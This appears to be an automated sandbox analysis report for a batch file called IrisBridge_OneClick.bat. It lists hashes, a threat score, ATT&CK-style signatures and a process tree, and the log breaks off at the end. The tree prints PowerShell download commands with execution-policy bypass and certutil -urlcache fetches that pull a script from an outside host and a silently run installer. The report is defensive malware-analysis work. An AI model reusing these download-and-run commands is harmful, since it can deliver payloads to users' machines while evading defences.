c5b7591a052c5de4241b701c0fff24a5401976c0adc9d6d45a3eca97e6cf453b

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/11/2026, 18:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IrisBridge_OneClick.bat
Size 8KB
Sample261113-w36pvae141
SHA256 c5b7591a052c5de4241b701c0fff24a5401976c0adc9d6d45a3eca97e6cf453b
MD5 ddff992d65b79b69132db84faf63c4e3
SHA1 4533152982cebfe3b0f34753bc808bc033cd6b35
SHA512 6d3e380e8803847e48a738327df9ef03b2422a6f14683c7b7613f0be77e81bb7de684e72b12fc21384db8d0bea863b9ed2312fd0075c4ab48161bd072073e82e
SSDEEP 96:sLh7MSQUK9wGfoihSKy14KJ8HYaCp2kGK7247KncKpuOVKrGoWP8XFoKPsLEQ/dn:2FMStGQ79ufWFpQJfBqA0NbtGAToqy
TLSH
T1D502D82F3E42D0B5409206DC570D1742B78780FF815E5EEEE4BAD14ABD0987D99FA293
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery dropper execution persistence

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	6016	powershell.exe
15	5020	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
15	5020	powershell.exe
16	808	certutil.exe
17	808	certutil.exe

Downloads a file with CertUtil 1 TTPs 2 IoCs

CertUtil's URL cache options fetch arbitrary files from a web server, which can be used to retrieve further payloads.

dropper

Ingress Tool Transfer

T1105

pid	Process
1320	certutil.exe
808	certutil.exe

Executes dropped EXE 5 IoCs

pid	Process
4244	PythonInstaller.exe
1768	PythonInstaller.exe
5948	python-3.12.10-amd64.exe
4288	python-3.12.10-amd64.exe
3820	python-3.12.10-amd64.exe

Loads dropped DLL 2 IoCs

pid	Process
1768	PythonInstaller.exe
3820	python-3.12.10-amd64.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\\python-3.12.10-amd64.exe\" /burn.runonce"	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}\\python-3.12.10-amd64.exe\" /burn.runonce"	python-3.12.10-amd64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6016	powershell.exe
5020	powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59ec98.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59ec98.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
808	cmd.exe
2016	cmd.exe
2992	cmd.exe
4644	cmd.exe
5448	cmd.exe
4844	cmd.exe
4716	cmd.exe
3456	cmd.exe
2848	cmd.exe
1500	cmd.exe
4524	cmd.exe
5212	cmd.exe
3312	cmd.exe
5736	cmd.exe
1284	cmd.exe
4896	cmd.exe
2812	cmd.exe
5816	cmd.exe
1964	cmd.exe
4636	cmd.exe
4396	cmd.exe
3396	cmd.exe
900	cmd.exe
5068	cmd.exe
2300	cmd.exe
3960	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.10-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.10-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.12.10-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PythonInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PythonInstaller.exe

Delays execution with timeout.exe 24 IoCs

defense_evasion

pid	Process
2668	timeout.exe
3148	timeout.exe
2564	timeout.exe
6044	timeout.exe
236	timeout.exe
1720	timeout.exe
5404	timeout.exe
4940	timeout.exe
5004	timeout.exe
4852	timeout.exe
3400	timeout.exe
4800	timeout.exe
2496	timeout.exe
3480	timeout.exe
2656	timeout.exe
4796	timeout.exe
1868	timeout.exe
3756	timeout.exe
5580	timeout.exe
4300	timeout.exe
1140	timeout.exe
5504	timeout.exe
5560	timeout.exe
5708	timeout.exe

Modifies registry class 25 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.10150.0"	python-3.12.10-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-3.12.10-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	PythonInstaller.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}	PythonInstaller.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}	python-3.12.10-amd64.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-3.12.10-amd64.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12	python-3.12.10-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\{9D09C9EF-A57C-422A-B79A-CC922079653A}\DisplayName = "Python 3.12.10 Core Interpreter (64-bit)"	PythonInstaller.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\{9D09C9EF-A57C-422A-B79A-CC922079653A}	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.10150.0"	PythonInstaller.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}	PythonInstaller.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\{9D09C9EF-A57C-422A-B79A-CC922079653A}	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\{9D09C9EF-A57C-422A-B79A-CC922079653A}\Version = "3.12.10150.0"	PythonInstaller.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12	python-3.12.10-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}"	python-3.12.10-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer	PythonInstaller.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies	PythonInstaller.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.10 (64-bit)"	python-3.12.10-amd64.exe
Key deleted	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}	python-3.12.10-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{b6ce88eb-2ce3-4d91-8efc-425ae1f48caf}"	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.10 (64-bit)"	PythonInstaller.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Installer\Dependencies\{9D09C9EF-A57C-422A-B79A-CC922079653A}\ = "{9D09C9EF-A57C-422A-B79A-CC922079653A}"	PythonInstaller.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
6016	powershell.exe
6016	powershell.exe
5020	powershell.exe
5020	powershell.exe
5020	powershell.exe
3412	msiexec.exe
3412	msiexec.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeShutdownPrivilege	1768	PythonInstaller.exe
Token: SeIncreaseQuotaPrivilege	1768	PythonInstaller.exe
Token: SeSecurityPrivilege	3412	msiexec.exe
Token: SeCreateTokenPrivilege	1768	PythonInstaller.exe
Token: SeAssignPrimaryTokenPrivilege	1768	PythonInstaller.exe
Token: SeLockMemoryPrivilege	1768	PythonInstaller.exe
Token: SeIncreaseQuotaPrivilege	1768	PythonInstaller.exe
Token: SeMachineAccountPrivilege	1768	PythonInstaller.exe
Token: SeTcbPrivilege	1768	PythonInstaller.exe
Token: SeSecurityPrivilege	1768	PythonInstaller.exe
Token: SeTakeOwnershipPrivilege	1768	PythonInstaller.exe
Token: SeLoadDriverPrivilege	1768	PythonInstaller.exe
Token: SeSystemProfilePrivilege	1768	PythonInstaller.exe
Token: SeSystemtimePrivilege	1768	PythonInstaller.exe
Token: SeProfSingleProcessPrivilege	1768	PythonInstaller.exe
Token: SeIncBasePriorityPrivilege	1768	PythonInstaller.exe
Token: SeCreatePagefilePrivilege	1768	PythonInstaller.exe
Token: SeCreatePermanentPrivilege	1768	PythonInstaller.exe
Token: SeBackupPrivilege	1768	PythonInstaller.exe
Token: SeRestorePrivilege	1768	PythonInstaller.exe
Token: SeShutdownPrivilege	1768	PythonInstaller.exe
Token: SeDebugPrivilege	1768	PythonInstaller.exe
Token: SeAuditPrivilege	1768	PythonInstaller.exe
Token: SeSystemEnvironmentPrivilege	1768	PythonInstaller.exe
Token: SeChangeNotifyPrivilege	1768	PythonInstaller.exe
Token: SeRemoteShutdownPrivilege	1768	PythonInstaller.exe
Token: SeUndockPrivilege	1768	PythonInstaller.exe
Token: SeSyncAgentPrivilege	1768	PythonInstaller.exe
Token: SeEnableDelegationPrivilege	1768	PythonInstaller.exe
Token: SeManageVolumePrivilege	1768	PythonInstaller.exe
Token: SeImpersonatePrivilege	1768	PythonInstaller.exe
Token: SeCreateGlobalPrivilege	1768	PythonInstaller.exe
Token: SeRestorePrivilege	3412	msiexec.exe
Token: SeTakeOwnershipPrivilege	3412	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3412	msiexec.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 5212 wrote to memory of 6016	5212	cmd.exe	90
PID 6016 wrote to memory of 6136	6016	powershell.exe	91
PID 5212 wrote to memory of 1320	5212	cmd.exe	93
PID 5212 wrote to memory of 4276	5212	cmd.exe	94
PID 5212 wrote to memory of 1964	5212	cmd.exe	95
PID 5212 wrote to memory of 5020	5212	cmd.exe	96
PID 5020 wrote to memory of 5840	5020	powershell.exe	97
PID 5212 wrote to memory of 808	5212	cmd.exe	98
PID 5212 wrote to memory of 4244	5212	cmd.exe	99
PID 4244 wrote to memory of 1768	4244	PythonInstaller.exe	100
PID 5948 wrote to memory of 4288	5948	python-3.12.10-amd64.exe	105
PID 4288 wrote to memory of 3820	4288	python-3.12.10-amd64.exe	106
PID 5212 wrote to memory of 4636	5212	cmd.exe	107
PID 5212 wrote to memory of 5580	5212	cmd.exe	108
PID 5212 wrote to memory of 3312	5212	cmd.exe	109
PID 5212 wrote to memory of 236	5212	cmd.exe	110
PID 5212 wrote to memory of 3396	5212	cmd.exe	111
PID 5212 wrote to memory of 2668	5212	cmd.exe	112
PID 5212 wrote to memory of 4644	5212	cmd.exe	113
PID 5212 wrote to memory of 1720	5212	cmd.exe	114
PID 5212 wrote to memory of 900	5212	cmd.exe	115
PID 5212 wrote to memory of 4300	5212	cmd.exe	116
PID 5212 wrote to memory of 5068	5212	cmd.exe	117
PID 5212 wrote to memory of 3148	5212	cmd.exe	118
PID 5212 wrote to memory of 5736	5212	cmd.exe	119
PID 5212 wrote to memory of 3400	5212	cmd.exe	120
PID 5212 wrote to memory of 1284	5212	cmd.exe	121
PID 5212 wrote to memory of 2564	5212	cmd.exe	122
PID 5212 wrote to memory of 4896	5212	cmd.exe	123
PID 5212 wrote to memory of 6044	5212	cmd.exe	124
PID 5212 wrote to memory of 5448	5212	cmd.exe	125
PID 5212 wrote to memory of 4800	5212	cmd.exe	126
PID 5212 wrote to memory of 2300	5212	cmd.exe	127
PID 5212 wrote to memory of 1140	5212	cmd.exe	128
PID 5212 wrote to memory of 4844	5212	cmd.exe	129
PID 5212 wrote to memory of 2496	5212	cmd.exe	130
PID 5212 wrote to memory of 4716	5212	cmd.exe	131
PID 5212 wrote to memory of 5404	5212	cmd.exe	132
PID 5212 wrote to memory of 3456	5212	cmd.exe	133
PID 5212 wrote to memory of 5504	5212	cmd.exe	134
PID 5212 wrote to memory of 3960	5212	cmd.exe	135
PID 5212 wrote to memory of 4940	5212	cmd.exe	136
PID 5212 wrote to memory of 808	5212	cmd.exe	137
PID 5212 wrote to memory of 3480	5212	cmd.exe	138
PID 5212 wrote to memory of 2812	5212	cmd.exe	139
PID 5212 wrote to memory of 2656	5212	cmd.exe	140
PID 5212 wrote to memory of 2016	5212	cmd.exe	141
PID 5212 wrote to memory of 4796	5212	cmd.exe	142
PID 5212 wrote to memory of 2848	5212	cmd.exe	143
PID 5212 wrote to memory of 1868	5212	cmd.exe	144
PID 5212 wrote to memory of 2992	5212	cmd.exe	145
PID 5212 wrote to memory of 3756	5212	cmd.exe	146
PID 5212 wrote to memory of 1500	5212	cmd.exe	147
PID 5212 wrote to memory of 5560	5212	cmd.exe	148
PID 5212 wrote to memory of 4396	5212	cmd.exe	149
PID 5212 wrote to memory of 5004	5212	cmd.exe	150
PID 5212 wrote to memory of 4524	5212	cmd.exe	151
PID 5212 wrote to memory of 5708	5212	cmd.exe	152
PID 5212 wrote to memory of 5816	5212	cmd.exe	153
PID 5212 wrote to memory of 4852	5212	cmd.exe	154

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IrisBridge_OneClick.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; try { $wc=New-Object System.Net.WebClient; $script:last=-1; $wc.add_DownloadProgressChanged({ param($sender,$e) if($e.ProgressPercentage -ne $script:last -and (($e.ProgressPercentage % 5) -eq 0 -or $e.ProgressPercentage -eq 100)){ $doneKb=$e.BytesReceived/1KB; $doneMb=$e.BytesReceived/1MB; if($e.TotalBytesToReceive -gt 0){ $totalKb=$e.TotalBytesToReceive/1KB; $totalMb=$e.TotalBytesToReceive/1MB; Write-Host (' Downloading: {0:N0} KB ({1:N1} MB) / {2:N0} KB ({3:N1} MB) ({4}%)' -f $doneKb,$doneMb,$totalKb,$totalMb,$e.ProgressPercentage) } else { Write-Host (' Downloading: {0:N0} KB ({1:N1} MB)' -f $doneKb,$doneMb) }; $script:last=$e.ProgressPercentage } }); $task=$wc.DownloadFileTaskAsync($env:DL_URL,$env:DL_TARGET); $task.GetAwaiter().GetResult(); Write-Host ' Download complete. File verify ho rahi hai...'; if ((Get-Item -LiteralPath $env:DL_TARGET).Length -gt 100) { exit 0 }; exit 1 } catch { Write-Host ' Method 1 failed. Alternate method try ho raha hai...'; exit 1 }"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "6016" "2832" "1900" "2820" "0" "0" "2796" "0" "0" "0" "0" "0"
    3⤵
    PID:6136
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "https://1.digiservices.tech/admin/downloads/iris/IrisBridge.py?v=20261021b" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py"
  2⤵
  - Downloads a file with CertUtil
  PID:1320
- C:\Windows\system32\findstr.exe
  findstr.exe /b /c:"# -*- coding:" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\IrisBridge.py"
  2⤵
  PID:4276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$ProgressPreference='SilentlyContinue'; try { $wc=New-Object System.Net.WebClient; $script:last=-1; $wc.add_DownloadProgressChanged({ param($sender,$e) if($e.ProgressPercentage -ne $script:last -and (($e.ProgressPercentage % 5) -eq 0 -or $e.ProgressPercentage -eq 100)){ $doneKb=$e.BytesReceived/1KB; $doneMb=$e.BytesReceived/1MB; if($e.TotalBytesToReceive -gt 0){ $totalKb=$e.TotalBytesToReceive/1KB; $totalMb=$e.TotalBytesToReceive/1MB; Write-Host (' Downloading: {0:N0} KB ({1:N1} MB) / {2:N0} KB ({3:N1} MB) ({4}%)' -f $doneKb,$doneMb,$totalKb,$totalMb,$e.ProgressPercentage) } else { Write-Host (' Downloading: {0:N0} KB ({1:N1} MB)' -f $doneKb,$doneMb) }; $script:last=$e.ProgressPercentage } }); $task=$wc.DownloadFileTaskAsync($env:DL_URL,$env:DL_TARGET); $task.GetAwaiter().GetResult(); Write-Host ' Download complete. File verify ho rahi hai...'; if ((Get-Item -LiteralPath $env:DL_TARGET).Length -gt 100) { exit 0 }; exit 1 } catch { Write-Host ' Method 1 failed. Alternate method try ho raha hai...'; exit 1 }"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5020" "2872" "2752" "2860" "0" "0" "2876" "0" "0" "0" "0" "0"
    3⤵
    PID:5840
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "https://www.python.org/ftp/python/3.12.10/python-3.12.10-amd64.exe" "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe"
  2⤵
  - Downloads MZ/PE file
  - Downloads a file with CertUtil
  PID:808
- C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe
  "C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe" /quiet InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\Temp\{FFDE80A7-F99B-4494-A90F-08DF49123605}\.cr\PythonInstaller.exe
    "C:\Windows\Temp\{FFDE80A7-F99B-4494-A90F-08DF49123605}\.cr\PythonInstaller.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\PythonInstaller.exe" -burn.filehandle.attached=764 -burn.filehandle.self=768 /quiet InstallAllUsers=0 PrependPath=0 Include_test=0 Include_pip=1 Include_launcher=1 TargetDir="C:\Users\Admin\AppData\Local\Temp\IrisBridgeApp\python"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4636
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3312
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3396
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4644
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:900
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5068
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5736
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1284
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4896
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:5448
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2300
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4844
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:4716
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3456
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:3960
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:808
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2812
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2016
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2848
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:2992
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c py -3 -c "import sys; print(sys.executable)" 2>nul
  2⤵
  - Executes a command shell one-liner
  PID:1500
- C:\Windows\system32\timeout.exe
  timeout /t 5 /nobreak
  2⤵
